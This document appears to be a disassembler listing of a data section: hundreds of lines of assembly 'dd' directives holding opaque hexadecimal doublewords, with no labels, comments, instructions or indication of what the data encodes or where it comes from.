		dd 0D900CAE9h, 12BC9077h, 88AA057Eh, 805E4A2Dh,	83AC7BBCh
		dd 644D3A2Ch, 871E4C40h, 0E39612ADh, 0CFD020D4h, 2144026Fh
		dd 32A40420h, 0C0198FF4h, 3C476C72h, 71797A0Fh,	9967804Bh
		dd 739D0D0Bh, 4DA804A2h, 0C0B9F555h, 4719CFA3h,	0B383EB07h
		dd 0F4707DE2h, 3FA61Dh,	0DDD15348h, 2709F64Ah, 4CF93Fh
		dd 23ED47EAh, 2779406h,	0E1E4A357h, 0ACC21E65h,	2AD8C5C3h
		dd 0A400ECB0h, 0ED5FFE1Ch, 24E950h, 51F116BCh, 524946EBh
		dd 776BE801h, 0A1EAF54Fh, 721456E8h, 2011008Fh,	52A523D4h
		dd 0AD58BA13h, 0E9860BACh, 0CA5080ECh, 497BD74h, 47AC7F88h
		dd 1069C018h, 1F000EDDh, 3BAD4BB8h, 3AB2598Dh, 480718Bh
		dd 29D1BC6Ch, 630092A7h, 0D46BCB77h, 98E5AF9h, 5EAC19A4h
		dd 0DC654E80h, 0B4009196h, 0DB0C0318h, 1E9B745h, 8CB1AC0Dh
		dd 0C0D34B4Ah, 0E409BA50h, 740CECF8h, 80851C7Fh, 6BAB8B31h
		dd 0E10179DAh, 0C08E3B6Fh, 9DD0DBB1h, 624C00A0h, 57DE272Dh
		dd 6100F99Fh, 0A4FF4959h, 41FC20h, 985E9DA0h, 9EEF2BFh
		dd 0DA007096h, 0F0F990D0h, 637A3F65h, 0A1CB288Bh, 0C0134C00h
		dd 53008836h, 0B246BB6Ch, 0C532FCh, 28737A19h, 83D83AF1h
		dd 0E901CE74h, 8ED23885h, 64E4C069h, 89860093h,	6F12DA8Ah
		dd 4B001D7Bh, 0F6AF189Bh, 0CA2C2Bh, 66E07080h, 7511E197h
		dd 0FDF8F8E9h, 3937E50Ch, 73A2A044h, 0C74ADCh, 0A7062294h
		dd 0F3D6145h, 4CEE87B7h, 574087DEh, 9E2E858h, 0F56B24DDh
		dd 0B9FAB400h, 55003BE9h, 0AB4009C8h, 0A568E0h,	0AC304546h
		dd 17A71531h, 0B7776114h, 0FB393CACh, 6B08DD00h, 4ABF5F97h
		dd 59B0039Dh, 0EF9017EDh, 3F7E93A8h, 30E9F877h,	96FEB14Dh
		dd 4205CC70h, 1EDB2CA4h, 33239404h, 44CCEC0h, 0A90500D4h
		dd 1271AB17h, 110519E8h, 629E6834h, 0B7D6A980h,	0F9DB07DDh
		dd 0A3251388h, 61E7801Fh, 0FC76BBB1h, 7C07B8B0h, 31F4D7E9h
		dd 9D681A0h, 76003CDh, 0E3A5D039h, 739B91D0h, 5803DB31h
		dd 30E09567h, 501403A4h, 2826C4ADh, 8C8EC0B7h, 0E7A549Fh
		dd 3040ED00h, 3513B11Dh, 9FA22h, 6D0445DEh, 253DD85Fh
		dd 24C01C48h, 0AE3958E7h, 5C0084F0h, 102D20BEh,	7C650022h
		dd 2C12B155h, 92028206h, 0FB82BA8h, 12487236h, 1D4CFD5h
		dd 666394B2h, 0AB7ADC92h, 0C600C090h, 6A25AC29h, 99923h
		dd 19117BC8h, 0E92B8A71h, 0F8C45902h, 400D8F75h, 33625E0h
		dd 1A49F761h, 9581B85Ah, 1D7ED8BBh, 0E98B9E09h,	0C600F6Ch
		dd 0FACE7047h, 34B80007h, 9BF697A6h, 7FF886D7h,	5B1C45ECh
		dd 3880FAE2h, 3CDF8D95h, 0DA5A001Eh, 68FD33C5h,	0B7007D1Bh
		dd 3FCD06A1h, 38316A7Bh, 0C33AA7ECh, 928E5580h,	0C4FE98E0h
		dd 0FD5739h, 0AB9B44D2h, 0B91963h, 0E8298CA3h, 0C6233C13h
		dd 721C6400h, 335AA930h, 531B00E3h, 0FB9D57B6h,	0DB07A50Eh
		dd 64EC5BB0h, 9FBBE640h, 0B6670079h, 0AF4AEAD4h, 0E100F155h
		dd 96C29170h, 573BAAh, 67661349h, 0AD29151Eh, 1735A903h
		dd 0D00C8B70h, 1DCDFC85h, 80A0DE54h, 64B44BB2h,	32C0984Ch
		dd 0EB909D17h, 0F8E00EDh, 0AE3776AFh, 0C23A8084h, 7D268041h
		dd 0D24E089Fh, 0B8C00A2h, 7EB10F75h, 20FA9CFh, 0A0534D3Bh
		dd 8CE77D44h, 784A07D3h, 0D0AA9A7Fh, 0ACB858D1h, 9946FE00h
		dd 0B0DC2F45h, 71760051h, 0DA38F016h, 4E007AC7h, 82EC77C1h
		dd 1D37229Fh, 326E72h, 19882587h, 0E4000CC8h, 660D18EEh
		dd 62C61Eh, 580F9D08h, 0F585EC23h, 80FF343Bh, 123AE265h
		dd 99CC2Fh, 0C1882107h,	0C4B90A7Ch, 484F7A03h, 0FBCF96D3h
		dd 8329EA1Bh, 0D8A53AF0h, 2C450287h, 735F11Eh, 0D0E476A2h
		dd 0B0B2394Ah, 1E31648h, 5822622Ch, 91F098D5h, 11FB00C3h
		dd 0B1FE27FCh, 1E00605Fh, 0F57AD7FDh, 0FABD4Ah,	36F9DF15h
		dd 493E3119h, 34274500h, 0A70B9250h, 1F71FC66h,	0C0B6D52Fh
		dd 39C47D9Dh, 0EBF048D9h, 0FEC24701h, 572A2EC9h, 1FDD7F8h
		dd 8B06B907h, 0F0E1A472h, 5B703677h, 0A58A0C07h, 13D0C1FFh
		dd 739ED5E2h, 0B770009Dh, 0D619A0AEh, 0EA00CCABh, 0C6AC4E4h
		dd 39C056F3h, 400F4960h, 0CDE02961h, 51BDA10Ah,	5B260B00h
		dd 4BBA4C67h, 62F4F55Ah, 9990000Dh, 9445B120h, 0D12447DEh
		dd 80385E59h, 43CEAD2h,	5F3FB6h, 365323E4h, 99567839h
		dd 45C03100h, 6D1266FBh, 8910010h, 0BF6C1C0Dh, 27005FE6h
		dd 28683674h, 0FA07B5E3h, 0F73E00C6h, 0B1D2DD0Ah, 5200912Bh
		dd 0E5833CC5h, 4DFFC0h,	825143C6h, 64FA39C7h, 1E12AF0Eh
		dd 6566386h, 0E27A832Ah, 54A980DDh, 25552Ch, 4648EA27h
		dd 0AEE58FEBh, 214CA200h, 9BB0DD1Fh, 0F0561844h, 48A1BABFh
		dd 0E500D774h, 0F1C19730h
		dd 0A8957Ah, 0CBECB7C7h, 8CFDA505h, 5ADFF31Ch, 117FAA00h
		dd 1EB37A31h, 40DC1B93h, 6983865h, 0CE4C6D39h, 51A900B1h
		dd 0A4E54DDAh, 0FF7C00C3h, 0CD8B348Ah, 8C005008h, 3B446A84h
		dd 1D8B94Ah, 1F39E44Eh,	40087555h, 0CEBEE2F6h, 919AE8F1h
		dd 0BD6DEE00h, 2683A09Bh, 65712Ch, 59B82D67h, 8082D740h
		dd 4089D09h, 0A37200ACh, 7A6791Fh, 376D263Dh, 6312700Dh
		dd 0B075DF7h, 0EA04B4ABh, 80619752h, 0D4D122AAh, 42500029h
		dd 696EA090h, 4E03C78Eh, 0F1DAA5E8h, 7B30F8E3h,	90330EA7h
		dd 5340EA5Ch, 776EDCACh, 1C469C00h, 65840FF9h, 1EEDFA49h
		dd 80B7956Bh, 7481A843h, 7D482C79h, 0ADF20166h,	0FCD2B4C9h
		dd 89DCECh, 2CA791BBh, 958712D7h, 16670202h, 6017F3C5h
		dd 650FE3h, 6909DCC4h, 0F5416C14h, 24CB8500h, 0A4E0323Ah
		dd 0BC100790h, 0E14B16C4h, 0FCE348D3h, 570015C2h, 5B5660D4h
		dd 1A7864h, 68A74B04h, 86161CEDh, 757D300h, 4F3B39AAh
		dd 16D0085h, 0F0FDCABFh, 1C0188CFh, 8ABB41A7h, 3D3AFE8h
		dd 0FA722428h, 0B688C4CBh, 11309A66h, 70195099h, 0B73B0E01h
		dd 0D000DFD3h, 0FC1C88Ah, 0BD7C2D17h, 43CCCD03h, 0EE4870BEh
		dd 3AC2001Bh, 35FE2151h, 587A0873h, 5302F900h, 0F5EA4ABEh
		dd 67F476h, 60DB6FF4h, 0B9245481h, 30C1EE00h, 0CB279B66h
		dd 0F7BC0097h, 99DE5570h, 0B0012F4h, 28980F35h,	933006h
		dd 0C308B284h, 0EEF7FA54h, 6E920E00h, 0E7449F36h, 0BA770072h
		dd 0E3DEA6ECh, 3005B62h, 35A42230h, 0FC84C827h,	3EA10F3Dh
		dd 0C67C225h, 2EE2106Fh, 4900ADEDh, 0DB3A507h, 5FF3C1h
		dd 26712C78h, 35052148h, 5EAC5D00h, 0D1DF5399h,	1DBB869h
		dd 71BF2D0h, 3B13BEE7h,	814079C7h, 7C251A2Ah, 0CAB0793h
		dd 40BCA801h, 0D62EFDE1h, 7EC79E00h, 0DF769F8h,	1C1600DCh
		dd 533B415Eh, 47000324h, 43D56B95h, 49F581h, 0D909C6BAh
		dd 1696E8B5h, 0B4D16D00h, 0FEED2F0Bh, 0DB9D18F8h, 0DE723067h
		dd 254F3802h, 0C05B8F31h, 0E934A1h, 5F83CAE0h, 96CC7CB0h
		dd 5188DC00h, 3337F66Fh, 613E01A8h, 0DBCEF7E2h,	0E3B6F881h
		dd 0B1E7D800h, 18059E9Dh, 5BCF0083h, 3227C2F0h,	4E0010D4h
		dd 0C44A2598h, 2EA5758h, 5DD507A4h, 0CA601754h,	0E2079B6Ch
		dd 908209FDh, 0ADC34790h, 0D6CF0016h, 0CAD29124h, 0ED1DFE43h
		dd 2600DDBFh, 35110717h, 48423AFAh, 28235600h, 82F07077h
		dd 9E213E05h, 0D4809066h, 1D026B17h, 43E0BBh, 149B35D2h
		dd 0C7EA39F6h, 0A2CC2E00h, 316053CFh, 0B5590048h, 1F32159Eh
		dd 3F00CA83h, 75389402h, 8085A2h, 8EEF6A5Ch, 41EE3CCh
		dd 0D2C07901h, 22A0BBFAh, 0FECCCh, 6882A567h, 0DFB1FD58h
		dd 0E786E503h, 0C09D07EDh, 5C4C3898h, 796687h, 2F7956C0h
		dd 2968BA04h, 0CD003090h, 77126BB4h, 0EFF460h, 1861B31Bh
		dd 0EAF17D69h, 638D1000h, 0DCF2891Ah, 9DC30075h, 568C3C2Dh
		dd 86F40CDFh, 8D332E00h, 8F404F5Bh, 96902ACh, 945526D5h
		dd 11BE40F5h, 58440054h, 0B18305C2h, 0A23988BDh, 0E29A8003h
		dd 3E62E84Dh, 0E7870h, 3CFDD1CCh, 9B69DE6Dh, 0BC00307Bh
		dd 905EB7A5h, 2B33ACDh,	6E796A12h, 5EE220C6h, 0D1390A80h
		dd 8C00C818h, 0E461DFE1h, 8E37B0h, 0BFE565DDh, 7BAD7434h
		dd 172C2700h, 534480EBh, 0B5620087h, 6B63BA21h,	0E03DD297h
		dd 506703ABh, 0D08B57EDh, 0C422FEh, 0A5608AE9h,	0EE1288DEh
		dd 0B6F66107h, 0EFF20B9Fh, 9C7C400Ch, 47B500C3h, 17CE66AAh
		dd 0F8F87C33h, 7B9D9600h, 442D7E2Bh, 9EC7002Ch,	0CFA9BFE6h
		dd 0E400AE15h, 1AE38B6Ch, 3A1C18h, 0A24D8B6h, 4A8DE044h
		dd 91007D7Ch, 1DAB7E47h, 6F8B10h, 41060813h, 285A20EEh
		dd 63EBC500h, 0BBFD53A5h, 22190E7h, 2492DABh, 0E4803A19h
		dd 0B1F24A18h, 111CE200h, 795E929Eh, 488C740Ch,	98001F1Eh
		dd 43CD1B54h, 0FF001F34h, 1AA42A82h, 93A1B4h, 8F709069h
		dd 470F519Dh, 0D5649403h, 8850BA52h, 4823F810h,	0C072CFCh
		dd 0F0CB4635h, 4F5D2CDCh, 0C1780600h, 0B5C5B2DBh, 7B43006Ch
		dd 0AE1AF9C7h, 0D93B0ED4h, 713DEBh, 0F1630BE2h,	0E46ADC10h
		dd 9D531FE7h, 0D72603D8h, 0FFF13B73h, 0D0452161h, 76090BF6h
		dd 902480AEh, 1F287830h, 40FC6F93h, 0CC915FFBh,	0AC3DA71Eh
		dd 0CD899h, 0CBDBA32Eh,	356E2C9h, 0DAF4172Ah, 15B04ED6h
		dd 5300BE5Eh, 0C0C8BD8Bh, 9093D7h, 0CA99E30Ch, 0C9FF3672h
		dd 0A2457F01h, 0BEAD31DDh, 7CE47D0h, 0C26867Ah,	0BF48405Ch
		dd 0DB1D0B79h, 1E8076AAh, 0EF3E5A01h, 8E1B0020h, 9150A9FAh
		dd 8D0F1A07h, 87649718h, 33C08421h, 1D1CC76Bh, 80F56EFBh
		dd 761E44F4h, 2D0075BBh, 61D3F2C3h, 399CB543h, 118AFF15h
		dd 11C083A5h, 0CA14003Ch, 0B9C81EE5h, 17E6072Ch, 577EF446h
		dd 0B6C3714Bh, 61FC2065h, 3AECF500h, 0E1B60B2h,	0D0280F75h
		dd 2D43A435h, 11007478h, 7A2F34A6h, 0C5234Fh, 116EBBC0h
		dd 87657752h, 0D693DD00h, 6C09AD67h, 0D4600E3h,	0EB8B08E5h
		dd 0D007CA52h, 0D58CECABh, 81A08240h, 9C90012h,	2D8EA1DDh
		dd 0B9C22A4Dh, 48A086AEh, 0E0824A8h, 1025510Bh,	61825A8Eh
		dd 1080AAA9h, 6A2A9920h, 731E6875h, 91404865h, 1787559Fh
		dd 98FA006Ch, 0C651B047h, 2A7D6A7Eh, 5AFD0E01h,	3B5E764Eh
		dd 0E06C608Eh, 0DFAD5018h, 25D8A100h, 586626E5h, 0A9A80020h
		dd 0C93285A0h, 0C4148377h, 0D18E66Ch, 0B8E9E48Bh, 0C7506AE0h
		dd 41B06788h, 44836578h, 6E100780h, 11A401E3h, 0B35E7040h
		dd 7372773Eh, 6AF92C00h, 9821D4A0h, 0DA700D3h, 0EB8CB2EAh
		dd 72009020h, 1387E9F7h, 63183h, 0C5FC766Eh, 0FE448B7Fh
		dd 92A5500h, 78EB6828h,	2FB50013h, 214BF1B6h, 8CF27B9Ch
		dd 65C0FC00h, 0B14F23BEh, 8BD80077h, 0EA6D5A2Ah, 6E0FCDB3h
		dd 20D2135Eh, 4E16598Ah, 9A010087h, 24717581h, 66132E40h
		dd 5D05FEEBh, 0CAC07B99h, 46575Bh, 0D71B3449h, 97599C62h
		dd 0D1791D71h, 80375D3Ch, 0A0D655ABh, 5160705h,	6450FC32h
		dd 0FDF84039h, 96E4FEB2h, 6DCCE00h, 7191C0B8h, 0F2EF0021h
		dd 3A53A77Fh, 0AB17A954h, 8C03D66Ah, 92687BCh, 3BE37841h
		dd 0D500082Fh, 8B06DF03h, 591DD926h, 30FF1A0Ch,	0A8908825h
		dd 6200D1ECh, 0A9C9724Ah, 0E48C1ABDh, 1E84305Bh, 4D8C849h
		dd 352A0800h, 0F3993B6Dh, 0BD800032h, 0C5FDD9Bh, 0A76085B0h
		dd 0DE826B79h, 52782E7Ah, 0C97503F1h, 50006D73h, 8BBD070Ah
		dd 0E4A3C0C6h, 3EE31879h, 7E68690Bh, 0ED3084Ch,	13F2898h
		dd 5F347435h, 66F031DDh, 0D7570EE6h, 40B2C709h,	0E4B7DA24h
		dd 8B001BF3h, 0F18C58B0h, 6019C68Ah, 473E20ACh,	0D200E6BAh
		dd 7AA27FF0h, 3B5B964h,	284F58BDh, 50B75DF8h, 0A226A477h
		dd 0D30B2200h, 0D6E0AFA9h, 7D123197h, 0FCC0B710h, 0BF00B22Fh
		dd 0AFB3778Fh, 916B3F69h, 80071EC0h, 30C65045h,	17002399h
		dd 422CDDD9h, 3FF195A6h, 0F29F58C3h, 4B2B0215h,	0C815C9Ah
		dd 0F014A8E8h, 3A207369h, 1166015Eh, 0A1E0F9B1h, 0D144D9E3h
		dd 0C56E0B0h, 0C2876A00h, 0DBFDC47Dh, 5008CC65h, 74799B21h
		dd 3E93AC00h, 5FF8BDD8h, 1C7F000Eh, 0C6770466h,	58F2C4E0h
		dd 0CF241A00h, 0F9A9F6B5h, 0D040C176h, 82D174D6h, 207EA220h
		dd 0CFF0FADh, 5E19A6F8h, 9780B876h, 88731871h, 93D941FDh
		dd 3A6E64Ch, 78A44595h
		dd 0C2083185h, 30ABBF21h, 800C4019h, 19CB8B7Dh,	0F0B700ACh
		dd 0FD46CD41h, 0FB00C91Dh, 0E38A14A5h, 2843B1A1h, 78C5152h
		dd 0EC9DE1CDh, 3511C390h, 6455FFD0h, 0A7B51600h, 756F29B0h
		dd 0FC52039Eh, 0EC03EDC7h, 638184A0h, 0ADBC2100h, 36313C88h
		dd 0C5BA1EB1h, 45A80046h, 26F9FC24h, 8E823F00h,	3CC2EFA7h
		dd 853D0083h, 8C92C36Ch, 250BBB67h, 0F90FA78h, 8BEC2025h
		dd 0FCF5062Fh, 887400F9h, 3C76AE60h, 0F239BE8Fh, 0F3C980DDh
		dd 176484D6h, 0E04D7C9Eh, 0E26D3FFDh, 0D8EA4880h, 0E37C262Bh
		dd 0A00BFE4h, 4D5FB183h, 0EFF66Dh, 36DBBC38h, 0C5C9107h
		dd 78776700h, 60D5454Eh, 0B37E0083h, 9D71807Bh,	0DE006F6Ch
		dd 5AE0E715h, 1A16DD5h,	4845E12Eh, 0CDC03D36h, 0EC23D8A0h
		dd 44BB3100h, 8424D3FCh, 7E4C0387h, 0BCA608B0h,	0D52870E8h
		dd 0C60E304h, 44803E98h, 0C3A8BFh, 932002DFh, 0B98DDB12h
		dd 60C15A30h, 0FFB9ADEh, 1BC06BBAh, 18F31B52h, 9FE3DD98h
		dd 6AEF3C00h, 60E06608h, 11AFC77h, 0AD983FD2h, 60B9408Ch
		dd 4700A759h, 0D3FEC267h, 3320292h, 0FC728A03h,	63C07522h
		dd 0FA18C8A6h, 2011E948h, 0E83B0007h, 0A70142Ah, 833C620Eh
		dd 0E4C08054h, 1E22998h, 1C0B7D56h, 79D34C8h, 0E0EB5D3Eh
		dd 1228657Dh, 6D28947Fh, 1D00C38Eh, 0FFA4B3F7h,	760962Eh
		dd 2BC6D0EAh, 9C9F80F4h, 1900F226h, 0AA5DE51h, 0FE0B61h
		dd 91AA6C18h, 0FC349D25h, 0E8FA1F00h, 6180A25Bh, 0D239008Ah
		dd 9FA35F18h, 3D04B75Ch, 64D01CCEh, 0A886BDC0h,	0FCFC61h
		dd 0B6282F9Bh, 979F4EB7h, 0DAC31A00h, 0DF7619FDh, 0DC0F3BCFh
		dd 0CAC75880h, 9B38EAB5h, 91556428h, 3D5ED3Bh, 373D41FAh
		dd 8333F088h, 96A739F2h, 0A0C54680h, 59FB835h, 0E8E4D604h
		dd 40C092AEh, 3E432E0Ch, 0B780A6BDh, 0EA47859h,	0C70090B3h
		dd 0D702A39Eh, 1E39124Bh, 0B736DDh, 66FC5C13h, 0A51E86E8h
		dd 6740DB58h, 5EC140CCh, 964900D0h, 0BB530DC7h,	73E3111h
		dd 0A5708019h, 0E92646C9h, 6C4F000Bh, 44A89C01h, 0E70003DEh
		dd 2C8C570Ch, 0E6D832Ah, 80AEAC87h, 75074D80h, 97004296h
		dd 43EF0ED9h, 3F9B32A7h, 8300D354h, 7F4AA3AFh, 0A4002E71h
		dd 0F0AEBF1Ah, 108424Dh, 0B8557980h, 409E720Eh,	51695EECh
		dd 0F8CE5Ch, 0B5A531DCh, 3BF77CD2h, 0E90383E4h,	26DE0B6Bh
		dd 30D468F9h, 0FE7B6FFEh, 470EFA73h, 9E0C8A84h,	0AD904500h
		dd 9E5F0F9h, 0D30D9857h, 7F9F1C00h, 1F2EA0C4h, 0C61D9582h
		dd 250F3E00h, 7CF35C0h,	0D3183857h, 0A5B2E01Fh,	8E0015ADh
		dd 53FF6EB9h, 1E0F0863h, 80F49FB3h, 0E266A599h,	0C100A63Ch
		dd 0A3680733h, 1CEAA20h, 5DFA6308h, 0E0D71579h,	7E026A55h
		dd 2ADE6590h, 40F5622Dh, 302F614h, 9CFBC240h, 27E8048Dh
		dd 0C93918BEh, 0CF0F8051h, 0DD15C080h, 687C5Dh,	3EC566D9h
		dd 143430C1h, 8042EA39h, 6C165B0Ch, 605DB17Fh, 0A2AFE802h
		dd 3161D51Ch, 0A33ABC40h, 5C71C0h, 93BA7C01h, 61E17BBFh
		dd 9B00557Dh, 6B502846h, 1F352197h, 0C3C65722h,	0B6E84F7Fh
		dd 0D50584A9h, 96AC3073h, 49BBB500h, 37BA04A4h,	0A946000Fh
		dd 62731B92h, 1C00C91Eh, 0B323012h, 1D7B5D4Ch, 85F32Bh
		dd 90281D72h, 5F00C816h, 699B0791h, 0CFEAE5Ch, 0F9F2449h
		dd 7C096220h, 23AB1D2Ah, 0E02CFBF8h, 71A923Ah, 59D2A97Eh
		dd 20BDE0F5h, 7F0064F1h, 8988438Eh, 27A5E46h, 73FAF998h
		dd 6C40C350h, 0DD1E408Dh, 4940DC18h, 0E1F30912h, 55800D6h
		dd 0E27BA78Bh, 59005EFAh, 4E850333h, 6EA896h, 0FE72CE50h
		dd 0F38E8A4h, 0F5006CE0h, 3D86AEB2h, 1D4C7E22h,	80293BF3h
		dd 118C3496h, 5C1DC570h, 0A9011C7Ch, 17BFDFEDh,	0E7D99F4h
		dd 0AC68E04h, 50F56880h, 2800FC92h, 6067AD77h, 0FEB948Ch
		dd 0B1553391h, 0A400E4B4h, 6956CE89h, 6148997Dh, 0D7E00120h
		dd 974C1E6h, 1F94820h, 0AAE9FF66h, 807EC580h, 49E398C0h
		dd 4878ACF6h, 0A900FC58h, 0BD6383Bh, 0A20344EAh, 161B0C73h
		dd 0F2DFD851h, 0AC4B1C30h, 41800C0h, 249D3D6Dh,	638F3601h
		dd 66BE9C0Dh, 7CFF30h, 0DF911AD6h, 9B044A60h, 0B7576100h
		dd 4013450Bh, 179D0353h, 30BC2DA8h, 0B25092E0h,	6ECF900h
		dd 59F35FE3h, 493D0065h, 1D6D2B62h, 39007E0Fh, 0ED002E0h
		dd 0BCA8FAh, 856C3C9Ch,	5BA7145Eh, 442DD4F1h, 0E7B9E77h
		dd 0ECE35F50h, 3BDAAF00h, 253539BAh, 3063003Fh,	199D66D8h
		dd 1A000F24h, 8B772717h, 0A972Dh, 0BA13C1B7h, 68CAEA76h
		dd 8A3C6CF4h, 0D2EE85A0h, 80013895h, 2F911E10h,	0C012C040h
		dd 0FE41008Fh, 2794D3BDh, 0BE0102CEh, 0F4CADA21h, 9CDCA222h
		dd 92201C28h, 685CC0FAh, 0AB04C95Dh, 80E7073Eh,	0A2C16E78h
		dd 48C554h, 30711C7Eh, 0B0253856h, 453F131Ch, 4C91803Bh
		dd 5AC53589h, 0ADC006Ah, 21C42D7Dh, 0F4009D87h,	0C74DAC86h
		dd 4E5F4Ch, 7A63FA29h, 4F96F9DDh, 4AE28500h, 959D51DAh
		dd 0C3840BA6h, 73006540h, 0DA475F4h, 7CA8A548h,	72F5A701h
		dd 8C8E9D84h, 0D199F4h,	0CE758369h, 9C610630h, 0C70D581Dh
		dd 5DACEE00h, 189527h, 4AB84676h, 0BA65EFEAh, 0F04DB107h
		dd 2090A543h, 370E6Dh, 88F32A52h, 29658512h, 4976AB00h
		dd 6E2F7F86h, 5E9D0268h, 27C63E55h, 0D0069AC0h,	4163B01Fh
		dd 802F5649h, 3E547DC3h, 4AF9020Ah, 0A162C54Eh,	1C8B33C0h
		dd 81619E3Bh, 5C261247h, 3CC48A67h, 66ED00E8h, 0E2D9B4D5h
		dd 0AD1E6482h, 0FECE346Ah, 6CF18089h, 0DD12EAh,	0D22D22B2h
		dd 669939B4h, 0A4A82F00h, 795BC58Ch, 8D6824BEh,	48C02AC4h
		dd 260700F0h, 115FF1h, 0D3E3958Ah, 53377500h, 486FD112h
		dd 0EFB4006Ah, 0C6AF578Ch, 0F60183BAh, 9519E647h, 0EAC48588h
		dd 26DA00C7h, 3A6A8643h, 5018646Dh, 0F7D8179Eh,	0C9ED038Ah
		dd 0A57D1EECh, 1FF167D8h, 0E4200C00h, 2336BF78h, 0EAE002Dh
		dd 0F9B5CD5h, 92000BC2h, 8E039E28h, 106D881h, 2507B609h
		dd 0F8E52EDDh, 5779D6E6h, 0B57CD900h, 42F43EA7h, 0AC9A0003h
		dd 7DA18E05h, 2103C2D4h, 0B9E36FC1h, 1409C0EEh,	0CECD009Bh
		dd 708E75DBh, 120031F0h, 0D928B7F7h, 1DFD4FA8h,	40F6E45Ch
		dd 0B624E8B8h, 71005783h, 37AEB02Dh, 16C3B9Ah, 7155342h
		dd 0E81A3F8Ch, 520097D5h, 941BE16Ah, 36735Dh, 0FF87376Eh
		dd 0E4E0E8AFh, 0A3B45C00h, 428BC27Dh, 0A70112E6h, 94230056h
		dd 9A18E528h, 81E05307h, 95578EDDh, 0D2FC1500h,	731C070Dh
		dd 21EFD9A3h, 70F89E7Bh, 0BB002FB0h, 87F47D88h,	3908248Fh
		dd 4002CA2h, 1DFC7F95h,	292C4C9Bh, 8000804Eh, 756E8B25h
		dd 0EFA601B7h, 0E4269440h, 19B834CBh, 0D8D49707h, 0FA007454h
		dd 17F6DC68h, 0EF50E2h,	5BBB0B83h, 0F10076F3h, 61EAE695h
		dd 771911Dh, 0CFB09E7Ah, 0B6B270AEh, 731F8338h,	0FC80B9BBh
		dd 415F7B53h, 8340023h,	0DBC8AF84h, 50003A78h, 77C86E6h
		dd 0E425395h, 40D9A23Fh, 0E2347AE0h, 25480570h,	4B1009Fh
		dd 4AEE722Ah, 3C7701h, 0D763C76Ch, 0A9B73973h, 0EB005572h
		dd 95458559h, 8D5A2Dh, 2C82D83Bh, 444B41ECh, 66A32905h
		dd 8780D7DFh, 577BB9h, 59961CD3h, 2B0BFD1h, 74DB18C0h
		dd 22EEB3h, 2F05DCA5h, 0E147EC24h, 45790C00h, 90D482DBh
		dd 757D3E66h, 42363780h, 3D81D230h, 0D89D2117h,	484FCC40h
		dd 1F6686h, 0D0434C85h
		dd 0C4463F38h, 0D9D0E00h, 12F14175h, 8626006Ah,	0F43C9909h
		dd 3A346713h, 81D209Ah,	5E22808Fh, 7C80Bh, 0D6238408h
		dd 0BE543E2Ch, 22ABF92h, 7018FFECh, 0ACBD4083h,	0ABD93380h
		dd 2F46020Ch, 25D18DCh,	5A4F0AFEh, 405A2BA2h, 0CE7D1807h
		dd 26019CADh, 24C08354h, 2076001Fh, 0B99DF9F8h,	90007798h
		dd 829E8905h, 0FFB2F4h,	6B45D8Ah, 772CEF25h, 50D05030h
		dd 38AE0126h, 0CE07B351h, 49791D1Ch, 0DB4440A0h, 34005393h
		dd 0AE1120D7h, 2ADF2518h, 0EF48E87Fh, 0E2048C02h, 0DCAC3001h
		dd 7DE180A1h, 0C0357378h, 87A61F6Fh, 982DC089h,	0B6CE9161h
		dd 515FA82Ch, 1E1B500h,	0D1545h, 421A0A25h, 5A46191Fh
		dd 80AF7638h, 23790559h, 0E27717h, 0DF492451h, 122C91CBh
		dd 0D07D874h, 32E1F738h, 21DD8049h, 1B3F9Eh, 0ADBB7024h
		dd 885B996Fh, 447E1300h, 0A911108Ch, 816000E4h,	0BA3FDE89h
		dd 3203D1AEh, 7731647Fh, 692F8071h, 78ECB8h, 83C5B538h
		dd 249B8266h, 0B273D100h, 318FD414h, 0CBD90156h, 0C6374AAEh
		dd 588282Eh, 55BC266Ch,	0AC108094h, 6438EE04h, 76108D31h
		dd 0B480DEB0h, 0E9021AC6h, 8EFD3403h, 0E8D8D5EFh, 0CC79F25h
		dd 61727691h, 22842E29h, 3942E832h, 219B9E11h, 97790802h
		dd 78FDD90h, 0FFD61151h, 21928211h, 0A2881ED1h,	0E016CA78h
		dd 8D00FE34h, 0B0C8CD0Ah, 7016004Ah, 0D17303D6h, 0ED00EBB5h
		dd 0A868D77Dh, 16A75BEh, 8F98502Eh, 0E04BE03Eh,	0CF00B40Ah
		dd 91D343A0h, 3E5065C4h, 0DC006C58h, 0AAA2563Bh, 1E00A6FFh
		dd 0E06885E8h, 5AA8F9h,	0CD21C547h, 328DCC4Eh, 0F4A4721Eh
		dd 0EC062F40h, 390A54B3h, 0FC5D7Eh, 7AEBF55Bh, 0AC796DD6h
		dd 80748538h, 87F95FBBh, 0EF20DDh, 9DA35319h, 95A261C6h
		dd 375A4A00h, 0B3BC3FEh, 1F1A0022h, 0DA608D01h,	10161EC1h
		dd 8F00F968h, 452F6C98h, 156500EAh, 91B70602h, 3200E65Eh
		dd 51729088h, 4245B37h,	4E2D09AAh, 0A060E073h, 7AE68803h
		dd 0A890E3F2h, 3B89BC58h, 68808C01h, 0DC0718CDh, 730E942Fh
		dd 2045ABA8h, 0ED2CC641h, 3F500C52h, 6EEAFD26h,	58FCFF00h
		dd 1D0E87DEh, 4C30F7E8h, 0BE6400FBh, 0A4A096C6h, 0B91EB3A6h
		dd 8380B12Ah, 0EF0C3187h, 7B70755Bh, 0F37971h, 74CB46C6h
		dd 0E789AC6Ch, 0BCA77C00h, 4B62FE52h, 9CC913A3h, 63A20087h
		dd 0AC090FCCh, 0F6A84A09h, 0BB68209Bh, 23802Fh,	994D53F0h
		dd 875DE543h, 6346011Eh, 0CC52FA02h, 130960DEh,	29EB01CEh
		dd 0E437B60Fh, 55C0E734h, 5900FDDFh, 0FF94A743h, 0D51567h
		dd 2B93F05Eh, 1B66FED4h, 46DCEC00h, 0BFEBC97Fh,	25C72D9h
		dd 19707C3Bh, 0DA872CBEh, 0F6AB603Ah, 77001411h, 5AC3E0FEh
		dd 81CF29h, 0F9A38AE6h,	0C260406Ah, 8041DA3Dh, 1CB04A7h
		dd 626D85h, 0CAF5FC9Ch,	689869EEh, 11036C00h, 19A292Ah
		dd 0E6E10076h, 30A65AB7h, 77FEE841h, 0DDCA200h,	796CA3B2h
		dd 0FA8A0075h, 21405DF5h, 0AC0272B0h, 8EB4F9DBh, 0DDA360A8h
		dd 7EF8AEh, 432F95D4h, 0FD71857Bh, 0A7D3B100h, 0AB8437DFh
		dd 82410103h, 58948BE6h, 0AD2020A5h, 0A9714700h, 7EFD2F38h
		dd 0D03F4855h, 5EC22703h, 6BC3A879h, 62116488h,	9BCE2000h
		dd 520699DBh, 0CAF083h,	1B9CBFA7h, 74D8D663h, 494F2F03h
